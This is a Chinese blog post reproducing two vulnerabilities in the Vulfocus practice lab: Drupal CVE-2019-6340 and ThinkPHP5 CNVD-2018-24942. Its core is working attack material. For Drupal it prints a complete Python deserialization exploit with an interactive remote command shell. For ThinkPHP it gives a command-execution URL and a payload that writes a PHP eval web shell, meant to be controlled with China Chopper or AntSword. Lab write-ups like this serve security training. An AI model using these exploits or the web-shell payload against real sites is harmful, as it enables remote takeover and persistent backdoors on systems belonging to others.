Vulfocus靶场漏洞复现系列—1

前言

接下来会给大家介绍一些最常见的复现漏洞过程,我所用的是Vulfocus靶场,靶场安装方法已经在上一篇文章讲过,大家可以自行去观看。如果大家想及时获取最新漏洞消息,大家可以直接cnvdhttps://www.cnvd.org.cn/去查看即可,小白入门,如果在博客中有什么错误,还请各位大佬指出。

一次出两个漏洞复现过程(本人也得上班~~~~)


一、Drupal远程代码执行漏(CVE-2019-6340)

1、漏洞介绍

Drupal官方之前更新了一个非常关键的安全补丁,修复了因为接受的反序列化数据过滤不够严格,在开启REST的Web服务拓展模块的情况下,可能导致PHP代码执行的严重安全。

根据官方公告和自身实践,8.6.x或(<8.6.10)两种情况可能导致问题出现:

RESTful Web Services拓展开启,并且启用了REST资源(默认配置即可),不需要区分GET,POST等方法即可完成攻击。

JSON:API服务模块开启,此服务尚未分析。

2、影响版本

  • Drupal 8.6.x < 8.6.10
  • Drupal 8.5.x(或更早版本) < 8.5.11

3、环境搭建

打开靶场,在镜像管理中输入CVE漏洞编号进行查询并下载

下载成功后再首页查看添加的漏洞,并启用访问网址

 4、漏洞复现

直接运行python脚本poc即可

import requests
import sys
import re

if len(sys.argv)!=2:
    print('+---------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub          +')
    print('+                    https://freeerror.org/d/488                +')
    print('+---------------------------------------------------------------+')
    print('+ USE: python3 <filename> <url>                                 +')
    print('+ EXP: python3 cve-2019-6340_cmd.py http://freeerror.org:8080   +')
    print('+ VER: Drupal < 8.6.10                                          +')
    print('+      Drupal < 8.5.12                                          +')
    print('+---------------------------------------------------------------+')
    sys.exit()

url = sys.argv[1]
cmd = "whoami"
dir = "/node/?_format=hal_json"
url_dir = url + dir
cmd_len = len(cmd)

payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"%s/rest/type/shortcut/default\"\r\n    }\r\n  }\r\n}" % (cmd_len,cmd,url)
headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    'Connection': "close",
    'Content-Type': "application/hal+json",
    'Accept': "*/*",
    'Cache-Control': "no-cache"   
    }
response = requests.request("POST", url_dir, data=payload, headers=headers)
if response.status_code==403 and "u0027access" in response.text :
    print ("[+] Find Drupal CVE-2019-6340 Vuln!\n")
else:
    print ("[-] Not Drupal CVE-2019-6340 Vuln! Good Luck~\n")
    sys.exit()

def do_post(cmd):
    payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"%s/rest/type/shortcut/default\"\r\n    }\r\n  }\r\n}" % (cmd_len,cmd,url)
       
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
        'Connection': "close",
        'Content-Type': "application/hal+json",
        'Accept': "*/*",
        'Cache-Control': "no-cache"
        }
    global response
    response = requests.request("POST", url_dir, data=payload, headers=headers)
    r = response.text
    s = r.split("}")[1]
    print (s)

while 1:
    cmd = input("Shell >>> ")
    cmd_len = len(cmd)
    if cmd == "exit" : exit(0)
    do_post(cmd)

 

 最终获取flag

5、修复建议

升级到最新版

二、ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)

1.漏洞介绍

ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击

2.影响版本

ThinkPHP 5.0.全版本

那就是这个漏洞并不是所有的都有漏洞,然后上网搜索和验证后发现了各个版本的问题所在,大家可以看下

版本名是否可被攻击攻击条件
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
5.0.5
5.0.6
5.0.7
5.0.8无需开启debug
5.0.9无需开启debug
5.0.10无需开启debug
5.0.11无需开启debug
5.0.12无需开启debug
5.0.13需开启debug
5.0.14需开启debug
5.0.15需开启debug
5.0.16需开启debug
5.0.17需开启debug
5.0.18需开启debug
5.0.19需开启debug
5.0.20
5.0.21需开启debug
5.0.22需开启debug
5.0.23需开启debug

本人同事复现时选的版本是5.0.13~5.0.19的,一直复现不成功,用payload怎么修改都是不成功,后来才知道这些版本默认情况下config中的app_debug配置项为false,这也是为什么很多人用payload都无法复现的

3、环境搭建


4、漏洞复现

 在其地址增加路径与参数即可,最后是需要执行的命令

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp

最终拿到flag

当然我们做渗透的也可以写上一句话木马进行尝试

/index.php/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E

 然后直接上菜刀或者蚁剑

但是不知道什么原因我这里链接不上,但是 确实是写进去了

5、修复建议

此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。进一步分析发现,某些ThinkPHP版本不受已公开的POC的影响,这是由于该POC缺乏完备性考虑。因此,强烈建议用户及时将5.0.x版本升级到5.0.23,将5.1.x版本升级到5.1.31,以免遭受攻击。官方修复方案

  • 9
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TJA小傲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值